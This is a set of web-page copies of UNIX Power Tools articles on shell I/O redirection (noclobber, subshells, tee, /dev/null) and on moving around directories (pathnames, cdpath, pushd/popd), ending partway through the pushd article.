Setting the variable noclobber prevents this problem. If noclobber exists, the C shell will not allow I/O redirection to destroy an existing file, unless you explicitly tell it to by adding an exclamation point (!) after the C shell redirect symbol - or a vertical bar (|) in ksh and bash. Here are examples. The left column shows csh and tcsh; the right column is for bash (ksh is similar):

% set noclobber             $ set -o noclobber
% ls                         $ ls
filea fileb                filea fileb
% anyprogram > fileb       $ anyprogram > fileb
fileb: File exists.        bash: fileb: Cannot clobber existing file
% anyprogram >! fileb      $ anyprogram >| fileb
%                            $

Be sure to put space after the !. If you don't, the C shell thinks you're making a history reference and it (usually) prints an error like fileb: Event not found.

Remember that noclobber is not an environment variable, so any new shells you create won't inherit it (6.8). Therefore, if you want this feature, put the set command (above) in your shell's setup file (2.2).

NOTE: In some C shells, noclobber will prevent you from redirecting standard output to /dev/null (13.14) or to a terminal unless you add the !.

The C shell noclobber variable has one other feature that's worth noting. Normally, the C shell lets you append to a file that doesn't exist. If noclobber is set under csh and tcsh, it won't; you can only append to files that already exist unless you use an exclamation point:

% ls
filea fileb
% anyprogram >> filec
filec: No such file or directory
% anyprogram >>! filec
%

- ML, JP

Previous: 13.5 Redirection in C Shell: Capture Errors, Too? | UNIX Power Tools | Next: 13.7 The () Subshell Operators
13.5 Redirection in C Shell: Capture Errors, Too? | Book Index | 13.7 The () Subshell Operators
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.7 The () Subshell Operators

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 13.6 Safe I/O Redirection with noclobber Chapter 13
Redirecting Input and Output 		Next: 13.8 Using {list} to Group Bourne Shell Commands

13.7 The () Subshell Operators

A useful shell trick is to use parentheses, (), to group commands.

13.7.1 Combining Several Commands

The output of the entire group can be passed together into a single pipeline. For example:

echo
$ (cat file1; echo .bp; cat file2) | nroff

This will interpose the nroff (43.13) .bp (break page) request between two files to be formatted. [3]

[3] If you're using only cat and a single echo, you can use this command instead:

$ echo .bp | cat file1 - file2 | nroff

The cat \- option (13.13) tells cat to read its standard input (in this case, from the pipe and the echo) at that point. nroff gets exactly the same input.

Parentheses are also very useful in the Bourne shell if you want to put an entire sequence of commands separated by semicolons into the background. In the C shell, the command line below will go immediately into the background.

&
% nroff -ms file1; nroff -ms file2 &

But in the Bourne shell, the background request (&) will only apply to the second command, forcing you to wait for completion of the first job before you get back the system prompt. To get right back to work, you can type:

$ (nroff -ms file1; nroff -ms file2) &

13.7.2 Temporary Change of Directory and Environment

The parentheses start a subshell (38.4). Commands that run between the parentheses won't affect the parent shell's environment. For instance, to run a command in another directory without changingyour active shell's current directory : (38.3)

% pwd
/home/trent
% (cd somewhere-else; nroff -ms file1 > file.out) &
[1] 22670
% pwd
/home/trent

The file file.out will be created in the somewhere-else directory.

Article 13.8 shows another method for the Bourne shell. It's more limited but can also be more efficient.

- TOR, JP

Previous: 13.6 Safe I/O Redirection with noclobber | UNIX Power Tools | Next: 13.8 Using {list} to Group Bourne Shell Commands
13.6 Safe I/O Redirection with noclobber | Book Index | 13.8 Using {list} to Group Bourne Shell Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.8 Using {list} to Group Bourne Shell Commands

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 13.7 The () Subshell Operators Chapter 13
Redirecting Input and Output 		Next: 13.9 Send Output Two or More Places with tee

13.8 Using {list} to Group Bourne Shell Commands

A lot of people know that you can group the output of a series of commands by using a subshell (13.7). That is, instead of this:

$ date > log
$ who >> log
$ ls >> log

they start a subshell with parentheses:

>
$ (date
> who
> ls) > log

and only redirect once to log. But a subshell takes an extra process and takes time to start on a busy system. If all you need to do is redirect output (or input) of a set of commands, use the Bourne shell's list operators {} (curly braces):

$ { date
> who
> ls
> } > log

Notice the spaces and the extra RETURN at the end. Each command must be separated from others. You can also write (note the semicolon after the last command):

$ { date; who; ls; } > log

Here are two other differences between the subshell (parentheses) and list (curly braces) operators. A cd command in the subshell doesn't change the parent shell's current directory; it does in a list. Also, a variable set in a subshell isn't passed to the parent shell; from a list, the variable is passed out.

NOTE: Jonathan I. Kamens points out that some Bourne shells may run a list in a subshell anyway, especially if there's a pipe involved. If your Bourne shell works like the example shown here, it's using a subshell, too:

$ { echo frep; foo=bar; } | cat
frep
$ echo $foo

$ { echo frep; foo=bar; }

frep
$ echo $foo
bar

- JP

Previous: 13.7 The () Subshell Operators | UNIX Power Tools | Next: 13.9 Send Output Two or More Places with tee
13.7 The () Subshell Operators | Book Index | 13.9 Send Output Two or More Places with tee
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.9 Send Output Two or More Places with tee

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 13.8 Using {list} to Group Bourne Shell Commands Chapter 13
Redirecting Input and Output 		Next: 13.10 How to tee Several Commands Into One File

13.9 Send Output Two or More Places with tee

tee
If you're running a program and you want to send its output to a file - but you want to see the output on your screen, too, so you can stop the program if something goes wrong - you can use tee. The tee program reads its standard input and writes it to one or more files. (The CD-ROM has the GNU version.)

NOTE: A pipe may buffer the output of a program, collecting it in chunks and spitting it out every so often. If the program's output comes slowly and feeds tee through a pipe, there might be long delays before you see any output. In that case, it's better to use > to redirect output to a file, put the program into the background, and watch the output with tail -f (25.16). Or use a program like script (51.5).

Use tee for saving results in the middle of a long pipeline of commands. That's especially good for debugging. For example, you could type:

% prog | tee prog.out | sed -f sedscr | tee sed.out | ...

to save the output of prog in the file prog.out and also pipe it to the sed command, save sed's output in sed.out and also pipe it...

If you want to add to a file that already exists, use the -a option:

... tee -a filename ...

- JP

Previous: 13.8 Using {list} to Group Bourne Shell Commands | UNIX Power Tools | Next: 13.10 How to tee Several Commands Into One File
13.8 Using {list} to Group Bourne Shell Commands | Book Index | 13.10 How to tee Several Commands Into One File
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.10 How to tee Several Commands Into One File

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 13.9 Send Output Two or More Places with tee Chapter 13
Redirecting Input and Output 		Next: 13.11 tpipe-Redirecting stdout to More than One Place

13.10 How to tee Several Commands Into One File

The tee (13.9) command writes its standard input to a file and writes the same text to its standard output. You might want to collect several commands' output and tee them all to the same file, one after another. The obvious way to do that is with the -a option:

$ some-command | tee teefile
$ another-command | tee -a teefile
$ a-third-command | tee -a teefile

A more efficient way is:

>
$ (some-command
> another-command
> a-third-command) | tee teefile

The subshell operators (13.7) collect the standard output of the three commands. The output all goes to one tee command. The effect is the same - but with two fewer pipes, two fewer tees, and one more subshell.

Unfortunately, the C shell doesn't make this quite as easy. If you can type all the commands on one line, you can do it this way (the same thing works in the Bourne shell):

% (command1; command2; command3) | tee teefile

Otherwise, use a semicolon and backslash (;\) at the end of each line:

% (some-command ;\
another-command ;\
a-third-command) | tee teefile

- JP

Previous: 13.9 Send Output Two or More Places with tee | UNIX Power Tools | Next: 13.11 tpipe-Redirecting stdout to More than One Place
13.9 Send Output Two or More Places with tee | Book Index | 13.11 tpipe-Redirecting stdout to More than One Place
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.11 tpipe-Redirecting stdout to More than One Place

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 13.10 How to tee Several Commands Into One File Chapter 13
Redirecting Input and Output 		Next: 13.12 Writing to Multiple Terminals for Demonstrations

13.11 tpipe-Redirecting stdout to More than One Place

tpipe
What if you want to use the output of a program twice, and you don't want to deal with an intermediary file? Try the tpipe program.

tpipe is similar to tee (13.9), but instead of putting a copy of standard input in a file, it passes the input to a new pipe. You could simulate tpipe by using tee and running the commands on the tee file, but there are instances when you don't want to clutter up your disk with files.

For example, suppose I have some large, compressed PostScript files. I want to print the files, but I also want to know how many pages they are. I know that the number of pages appears on a line following %%Pages: at the end of the file. Using gzcat (24.7) to uncompress the file to standard output, I can type the following commands into a for loop (9.12) (or put them into a shell script). This loop sends each file to the printer and uses sed to capture the correct line:

for f
do
    gzcat $f | lpr
    gzcat $f | sed -n "s/^%%Pages: \([0-9][0-9]*\)/$f:   \1 pages/p"
done

But this ends up running gzcat twice, which takes some time. I can gunzip the file first, but frankly I'm not sure I have the disk space for that.

Using tpipe, I can do it in one line, without wasting processes and without eating disk space:

for f
do
  gzcat $f | tpipe lpr | sed -n "s/^%%Pages: \([0-9][0-9]*\)/$f: \1 pages/p"
done

From running this script, as each file is sent to the printer I receive the following messages on my screen:

ch01.ps.gz: 44 pages
ch02.ps.gz: 51 pages
ch03.ps.gz: 23 pages
   ...

If you don't have tpipe, you can also simulate it using awk (33.11):

gzcat $f | awk "{ print | \"lpr\" ; print }" | \
  sed -n "s/^%%Pages: \([0-9][0-9]*\)/$f:   \1 pages/p"

This is much slower and only works on text files, but it does the job.

- LM

Previous: 13.10 How to tee Several Commands Into One File | UNIX Power Tools | Next: 13.12 Writing to Multiple Terminals for Demonstrations
13.10 How to tee Several Commands Into One File | Book Index | 13.12 Writing to Multiple Terminals for Demonstrations
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.12 Writing to Multiple Terminals for Demonstrations

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 13.11 tpipe-Redirecting stdout to More than One Place Chapter 13
Redirecting Input and Output 		Next: 13.13 The "Filename" -

13.12 Writing to Multiple Terminals for Demonstrations

To show what one person is typing, and let people watch at other terminals:

  1. The person doing the demonstration starts an interactive shell with a command like:

    % csh -i |& tee /tmp/log
$ csh -i 2>&1 | tee /tmp/log

    Use exit to leave the shell. To start a Bourne shell, type sh instead of csh.

  2. Everyone who wants to watch types:

    tail -f

tail -f /tmp/log

    and uses CTRL-c to kill tail-f when they're done.

There are a couple of gotchas:

  • The person who's doing the demonstration won't be able to use full-screen programs like vi that expect their outputs to go to a terminal (instead of a pipe).

  • Commands may echo onto the screen but not into the log file. If that happens, type csh -iv to start the demonstrator's C shell or sh -iv for a Bourne shell.

- JP

Previous: 13.11 tpipe-Redirecting stdout to More than One Place | UNIX Power Tools | Next: 13.13 The "Filename" -
13.11 tpipe-Redirecting stdout to More than One Place | Book Index | 13.13 The "Filename" -
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.13 The "Filename" -

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 13.12 Writing to Multiple Terminals for Demonstrations Chapter 13
Redirecting Input and Output 		Next: 13.14 What Can You Do with an Empty File?

13.13 The "Filename" -

If you put filenames on the command line, a typical UNIX command will read those files. With no filenames, the command will read its standard input. How can you make the command read both files and standard input? Some UNIX systems, and utilities such as gawk (33.12), support a special name like /dev/stdin (13.1). Some older UNIX commands, like cat (25.2) and diff (28.1), will accept a "filename" of - (dash). There's not actually a file named -; it's just a shorthand for "read standard input."

NOTE: This syntax might change in the future.

For instance, here's how to compare two files on different computers. The rsh snooze cat bin/aprog command sends a copy of the file bin/aprog from the remote host snooze down the pipe here on the local computer. diff compares the local file aprog.new to the standard input from the pipe:

rsh
% rsh snooze cat bin/aprog | diff - aprog.new

For more examples, see articles 9.11 and 13.7.

- JP

Previous: 13.12 Writing to Multiple Terminals for Demonstrations | UNIX Power Tools | Next: 13.14 What Can You Do with an Empty File?
13.12 Writing to Multiple Terminals for Demonstrations | Book Index | 13.14 What Can You Do with an Empty File?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.14 What Can You Do with an Empty File?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 13.13 The "Filename" - Chapter 13
Redirecting Input and Output 		Next: 13.15 What to Do with a Full Bit Bucket :-)

13.14 What Can You Do with an Empty File?

It isn't a file, actually, though you can use it like one. /dev/null is a UNIX device. [4] It's not a physical device. /dev/null is a special device that "eats" any text written to it and returns "end-of-file" (a file of length 0) when you read from it. So what the heck can you use it for?

[4] Well, okay. It's a device file.

  • Empty another file. Just copy /dev/null "on top of" the other file . (24.1)

  • Make another program "quiet" by redirecting its output there. For instance, if you're putting a program into the background and you don't want it to bother you, type:

    % progname > /dev/null &

    That redirects (13.1) standard output but leaves standard error hooked to your terminal, in case there is an error.

  • Answer a program that asks a lot of questions-you know you'll just press RETURN at each prompt. In a lot of cases, you can redirect the program's standard input from /dev/null:

    % progname < /dev/null
Want the default setup? If yes, press RETURN:
Enter filename or press RETURN for default:
   ...

    You should test that with each program, though, before you assume this trick will work. (If it doesn't work, try yes (23.4).)

  • Where a program needs an extra filename but you don't want it to read or write an actual file. For instance, the grep (27.1) programs won't give the name of the file where they find a match unless there are at least two filenames on the command line. When you use a wildcard in a directory where maybe only one file will match, use /dev/null to be sure that grep will always see more than one : (17.20)

    % grep "whatever" * /dev/null

    You're guaranteed that grep won't match its regular expression in /dev/null. :-)

  • Article 24.2 shows even more uses for /dev/null.

Another interesting device (mostly for programmers) is /dev/zero. When you read it, you'll get ASCII zeros (NUL characters) (51.3) forever. There are no newlines either. For both of those reasons, many UNIX commands have trouble reading it. If you want to play, the command below will give you a start (and head (25.20) will give you a stop!): [5]

[5] On some UNIX versions, the head program may not terminate after it's printed the first ten lines. In that case, use sed 10q instead of head.

fold od
% fold -20 /dev/zero | od -c | head

- JP

Previous: 13.13 The "Filename" - | UNIX Power Tools | Next: 13.15 What to Do with a Full Bit Bucket :-)
13.13 The "Filename" - | Book Index | 13.15 What to Do with a Full Bit Bucket :-)
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.15 What to Do with a Full Bit Bucket :-)

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 13.14 What Can You Do with an Empty File? Chapter 13
Redirecting Input and Output 		Next: 13.16 Store and Show Errors with logerrs

13.15 What to Do with a Full Bit Bucket :-)

[The techniques in this article should be performed carefully, and only by a fully qualified and inexperienced system administrator. -JP]

Q: Our Sun SPARCstation 1+ 4.1 OW2 started running very slowly. When I logged out, I got the message "/dev/null full: empty bit bucket."

A: The problem is that null is full. Your void space is no longer void; it's full up.

The top ways to empty an overflowing bit bucket:

  • Open the computer. Look for the bit bucket, find the red stopper at the bottom of it and open it over a large wastebasket.

  • Take the ethernet terminator off. Type the command:

    % cat /dev/null > le0

    This spits the bits into the ether.

  • When you write to /dev/null, the 0's (zeros) don't take up any space, but the 1's (ones) do. Try writing a file full of 0's to /dev/null. Use binary 0, not ASCII 0; ASCII 0 will start overfilling the partition.

  • This is a common problem only if you use the computer. If you stop using it, it won't have many problems at all. Kick the other users off, too.

  • Run lots of C programs. They have null-terminated strings that will use up the extra bits in /dev/null.

  • Consider upgrading to a byte bucket or even a word bucket.

  • Bring the computer to Mr. Goodwrench. He will drain the bit bucket, change the oil, and add windshield fluid, all in 29 minutes or less. Now that's a deal.

- XX (We wish we knew who wrote this!)

Previous: 13.14 What Can You Do with an Empty File? | UNIX Power Tools | Next: 13.16 Store and Show Errors with logerrs
13.14 What Can You Do with an Empty File? | Book Index | 13.16 Store and Show Errors with logerrs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.16 Store and Show Errors with logerrs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 13.15 What to Do with a Full Bit Bucket :-) Chapter 13
Redirecting Input and Output 		Next: III. Working with the Filesystem

13.16 Store and Show Errors with logerrs

logerrs
 This simple script by Maarten Litmaath runs a command, logs any error messages to a file and also sends them to standard error. Because the standard error usually goes to your screen, this lets you see the errors and log them in a file too.

The script's first argument is the log filename. Then type the command and any other arguments for it. Here's an example of running cat foo bar and logging errors to a file named errors. The foo file exists; the bar file doesn't:

$ cat foo
hello world
$ logerrs errors cat foo bar
hello world
bar: No such file or directory
$ cat errors
bar: No such file or directory

These two lines of the script do the work:

exec 3>&1
"$@" 2>&1 >&3 | tee -a "$ERRLOG" >&2

If the >& stuff is a mystery and you're interested in the Bourne shell's handling of file descriptors, see articles 45.20 and 45.21.

- MAL, JP

Previous: 13.15 What to Do with a Full Bit Bucket :-) | UNIX Power Tools | Next: III. Working with the Filesystem
13.15 What to Do with a Full Bit Bucket :-) | Book Index | III. Working with the Filesystem
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] Moving Around in a Hurry

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: III. Working with the Filesystem Chapter 14 Next: 14.2 Using Relative and Absolute Pathnames

14. Moving Around in a Hurry

Contents:
Getting Around the Filesystem
Using Relative and Absolute Pathnames
What Good Is a Current Directory?
How Does UNIX Find Your Current Directory?
Saving Time When You Change Directories: cdpath
The Shells' pushd and popd Commands
Nice Aliases for pushd
Quick cds with Aliases
cd by Directory Initials
Variables Help You Find Directories and Files
Finding (Anyone's) Home Directory, Quickly
Marking Your Place with a Shell Variable
Which Directory Am I in, Really?
Automatic Setup When You Enter/Exit a Directory

14.1 Getting Around the Filesystem

How quickly can you move around the UNIX filesystem? Can you locate any file or directory on your filesystem with both its absolute and relative pathnames? How can symbolic links help you and hurt you?

A lot of UNIX users don't realize how much they'll be helped by completely understanding a few filesystem basics. Here are some of the most important concepts and tricks to know:

  • Using relative and absolute pathnames: article 14.2.

  • What good is a current directory? article 14.3.

  • Saving time and typing when you change directories with cdpath: article 14.5.

  • Directory stacks keep a list of directories you're using and let you get to them quickly: articles 14.6, 14.7.

  • Quick cd aliases: article 14.8.

  • Using variables and a tilde (~) to help you find directories and files: articles 14.10, 14.11.

  • A mark alias to mark directory for cd'ing back: article 14.12.

  • Problems when cd'ing through symbolic links: article 14.13.

  • Automatic setup for entering and exiting a directory: article 14.14.

- JP

Previous: III. Working with the Filesystem | UNIX Power Tools | Next: 14.2 Using Relative and Absolute Pathnames
III. Working with the Filesystem | Book Index | 14.2 Using Relative and Absolute Pathnames
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] 14.2 Using Relative and Absolute Pathnames

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 14.1 Getting Around the Filesystem Chapter 14
Moving Around in a Hurry 		Next: 14.3 What Good Is a Current Directory?

14.2 Using Relative and Absolute Pathnames

Everything in the UNIX filesystem - files, directories, devices, named pipes, and so on - has two pathnames: absolute and relative. If you know how to find those names, you'll know the best way to locate the file (or whatever) and use it. Even though pathnames are amazingly simple, they're one of the biggest problems beginners have. Studying this article carefully can save you a lot of time and frustration. See Figure 14.1 for an illustration of the UNIX filesystem.

Figure 14.1: A UNIX Filesystem Tree

Table 14.1 describes the two kinds of pathnames.

Table 14.1: Absolute and Relative Pathnames
Absolute Pathnames | Relative Pathnames
Start at the root directory. | Start at your current directory (1.21).
Always start with a slash (/). | Never start with a slash.
The absolute pathname to some object (file, etc.) is always the same. | The relative pathname to an object depends on your current directory.

To make an absolute pathname:

  • Start at the root directory (/) and work down.

  • Put a slash (/) after every directory name - though if the path ends at a directory, the slash after the last name is optional.

For example, to get a listing of the directory highlighted in Figure 14.1, no matter what your current directory is, you'd use an absolute pathname like this:

% ls /home/jane/data
Sub    a    b     c

To make a relative pathname:

  • Start at your current directory.

  • As you move down the tree, away from root, add subdirectory names.

  • As you move up the tree toward root, add .. (two dots) for each directory.

  • Put a slash (/) after every directory name - though if the path is to a directory, the slash after the last name is optional.

For example, if your current directory is the one shown in Figure 14.1, to get a listing of the Sub subdirectory, use a relative pathname:

% ls Sub
d     e     f

Without changing your current directory, you can use a relative pathname to read the file d in the Sub subdirectory:

% cat Sub/d

To change the current directory to Jim's home directory, you could use a relative pathname to it:

% cd ../../jim

Using the absolute pathname, /home/jim, might be easier there.

The symbolic link (18.4) adds a twist to pathnames. What two absolute pathnames would read the file that the symlink points to? The answer: /home/jane/.setup or /work/setups/generic. (The second pathname points directly to the file, so it's a little more efficient.) If your current directory was the one shown in Figure 14.1, what would be the easiest way to read that file with the more (25.3) pager? It's probably through the symlink:

% more ../.setup

Remember, when you need to use something in the filesystem, you don't always need to use cd first. Think about using a relative or absolute pathname with the command; that'll almost always work. If you get an error message, check your pathname carefully; that's almost always the problem. If it's hard to visualize the filesystem, a program that makes a diagram of the directory tree (16.19, 16.20) can help.

- JP

Previous: 14.1 Getting Around the Filesystem | UNIX Power Tools | Next: 14.3 What Good Is a Current Directory?
14.1 Getting Around the Filesystem | Book Index | 14.3 What Good Is a Current Directory?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] 14.3 What Good Is a Current Directory?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 14.2 Using Relative and Absolute Pathnames Chapter 14
Moving Around in a Hurry 		Next: 14.4 How Does UNIX Find Your Current Directory?

14.3 What Good Is a Current Directory?

People who think the cd command is all they need to know about current directories should read this article! Understanding how UNIX uses the current directory can save you work.

Each UNIX process has its own current directory. For instance, your shell has a current directory. So do vi, ls, sed, and every other UNIX process. When your shell starts a process running, that child process starts with the same current directory as its parent. So how does ls know which directory to list? It uses the current directory it inherited from its parent process, the shell:

% ls
   ...Listing of ls's current directory appears,
   which is the same current directory as the shell.

Each process can change its current directory and that won't change the current directory of other processes that are already running. So:

  • Your shell script (which runs in a separate process) can cd to another directory without affecting the shell that started it (the script doesn't need to cd back before it exits).

  • If you have more than one window or login session to the same computer, they probably run separate processes. So, they have independent current directories.

  • When you use a subshell (13.7, 38.4) or a shell escape, you can cd anywhere you want. After you exit that shell, the parent shell's current directory won't have changed. For example, if you want to run a command in another directory without cding there first (and having to cd back), do it in a subshell:

    % pwd
/foo/bar
% (cd baz; somecommand > somefile)
% pwd
/foo/bar

When you really get down to it, what good is a current directory? Here it is: relative pathnames start at the current directory. Having a current directory means you can refer to a file by its relative pathname, like afile. Without a current directory and relative pathnames, you'd always have to use absolute pathnames (14.2) like /usr/joe/projects/alpha/afile.

- JP

Previous: 14.2 Using Relative and Absolute Pathnames | UNIX Power Tools | Next: 14.4 How Does UNIX Find Your Current Directory?
14.2 Using Relative and Absolute Pathnames | Book Index | 14.4 How Does UNIX Find Your Current Directory?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] 14.4 How Does UNIX Find Your Current Directory?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 14.3 What Good Is a Current Directory? Chapter 14
Moving Around in a Hurry 		Next: 14.5 Saving Time When You Change Directories: cdpath

14.4 How Does UNIX Find Your Current Directory?

A command like pwd inherits the current directory of the process that started it (usually, a shell). It could be started from anywhere. How does pwd find out where it is in the filesystem? See Figure 14.2 for a picture of the current directory /usr/joe and its parent directories. The current directory doesn't contain its own name, so that doesn't help pwd. But it has an entry named . (dot), which gives the i-number ofthe directory . (18.2)

Figure 14.2: Finding the Current Directory Name

The current directory has i-number 234. Next, pwd asks UNIX to open the parent directory file, the directory one level up, through the relative pathname (..). It's looking for the name that goes with i-number 234. Aha; the current directory is named joe. So the end of the pathname must be joe.

Next step. pwd looks at the . entry in the directory one level up to get its i-number: 14. Like always, the name of the one-level-up directory is in its parent (.., i-number 12). To get its name, pwd opens the directory two levels up and looks for i-number 14: usr. Now pwd has the pathname usr/joe.

Same steps: look in the parent, i-number 12. What's its name? Hmmm. The i-number of its parent, 12, is the same as its own-and there's only one directory on the filesystem like this: the root directory. So, pwd adds a slash to the start of the pathname and it's done: /usr/joe.

That's really missing one or two parts: Filesystems can be mounted on other filesystems, or can be mounted across the network from other hosts. So, at each step, pwd also needs to check the device that the current directory is mounted on. If you're curious, see the stat(2) manual page or check a UNIX internals book. Also see the last few paragraphs of article 18.4 for more about the links between directories.

- JP

Previous: 14.3 What Good Is a Current Directory? | UNIX Power Tools | Next: 14.5 Saving Time When You Change Directories: cdpath
14.3 What Good Is a Current Directory? | Book Index | 14.5 Saving Time When You Change Directories: cdpath
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] 14.5 Saving Time When You Change Directories: cdpath

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 14.4 How Does UNIX Find Your Current Directory? Chapter 14
Moving Around in a Hurry 		Next: 14.6 The Shells' pushd and popd Commands

14.5 Saving Time When You Change Directories: cdpath

Some people make a shell alias (10.2) for directories they cd to often. Other people set shell variables (6.8) to hold the pathnames of directories they don't want to retype. But both of those methods make you remember directory abbreviations - and make you put new aliases or shell variables in .cshrc or .profile each time you want to add or change one. There's an easier way: the C shell's cdpath shell variable and the CDPATH variable in ksh, bash, and some versions of sh. I'll use the term "cdpath" to talk about all shells.

When you type the command cd foo, the shell first tries to go to the exact pathname foo. If that doesn't work, and if foo is a relative pathname, the shell tries the same command from every directory listed in the cdpath. (If you use ksh or sh, see the note at the end of this article.)

Let's say that your home directory is /home/lisa and your current directory is somewhere else. Let's also say that your cdpath has the directories /home/lisa, /home/lisa/projects, and /books/troff. If your cd foo command doesn't work in your current directory, then your shell will try cd /home/lisa/foo, cd /home/lisa/projects/foo, and cd /books/troff/foo, in that order. If the shell finds one, it shows the pathname:

% cd foo
/home/lisa/foo
%

Some Bourne shells don't show the directory name. All shells print an error, though, if they can't find any foo directory.

So, set your cdpath to a list of the parent directories that contain directories you might want to cd to. Don't list the exact directories - list the parent directories (1.21). This list goes in your .cshrc or .profile file. For example, lisa's .cshrc could have:

~
set cdpath=(~ ~/projects /books/troff)

A Bourne shell user would have this in .profile:

CDPATH=:$HOME:$HOME/projects:/books/troff
export CDPATH

(If your system doesn't define $HOME, try $LOGDIR.)

NOTE: Note that the Bourne shell CDPATH in the above example starts with a colon (:)-which, as in the PATH variable, is actually an empty entry (6.4) that stands for "the current directory." Both the sh and ksh I tested required that. Without an empty entry, neither sh or ksh would cd into the current directory! (bash seemed to work like csh, though.) You could actually call this a feature. If there's no empty entry in CDPATH, a user has to use cd ./subdirname to go to a subdirectory of the current directory.

- JP

Previous: 14.4 How Does UNIX Find Your Current Directory? | UNIX Power Tools | Next: 14.6 The Shells' pushd and popd Commands
14.4 How Does UNIX Find Your Current Directory? | Book Index | 14.6 The Shells' pushd and popd Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] 14.6 The Shells' pushd and popd Commands

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 14.5 Saving Time When You Change Directories: cdpath Chapter 14
Moving Around in a Hurry 		Next: 14.7 Nice Aliases for pushd

14.6 The Shells' pushd and popd Commands

How often do you need to move to some other directory temporarily, look at some file, and then move back to the directory where you started? If you're like most users, you do this all the time. csh and bash have pushd and popd commands make this a lot easier. (If you use ksh, O'Reilly &amp; Associates' Learning the Korn Shell shows you shell functions that do the same thing.)

These commands implement a "directory stack." The classical analogy for a stack is one of those spring-loaded plate stackers in a school cafeteria. The last plate put ("pushed") onto the stack is the first plate taken ("popped") from the stack. It's just the same with directories: each time you use pushd, the shell adds your current directory to the stack and moves you to the new directory. When you use popd, the shell takes the top directory off the stack, and moves you to the directory underneath.

You may as well learn about pushd the way I did: by watching. Let's say that I'm in the directory ~/power, working on this book. I want to change to my Mail directory briefly, to look at some old correspondence. Here's how: [1]

[1] If you've set a cdpath (14.5) you can use those short directory names with pushd.

los% pushd ~/Mail   ...current directory becomes ~/Mail
~/Mail ~/power

pushd prints the entire stack, giving me some confirmation about where I am, and where I can go. When I'm done reading the old mail, I want to move back:

los% popd   ...current directory becomes ~/power
~/power

We're back where we started; the Mail directory is no longer on the stack.

What if you want to move back and forth repeatedly? pushd, with no arguments, just switches the two top directories on the stack. Like this:

los% pwd   ...current directory is ~/power
/home/los/mikel/power
los% pushd ~/Mail   ...current directory becomes ~/Mail
~/Mail ~/power
los% pushd   ...current directory becomes ~/power
~/power ~/Mail
los% pushd   ...current directory becomes ~/Mail
~/Mail ~/power

And so on.

If you like, you can let your directory stack get really long. In this case, two special commands are useful. popd&nbsp;+n deletes the n entry in the stack. Entries are counted "down" from the top, starting with zero; that is, your current directory is 0. So popd +0 and popd are the same. If n is greater than 0, your current directory does not change. This may seem surprising, but it isn't; after all, you haven't changed the top of the stack.

The command pushd +n "rotates" the stack, so that the nth directory moves to the top, becoming the current directory. Note that this is a "rotation": the whole stack moves. I don't find the +n commands too useful, but you should know about them.

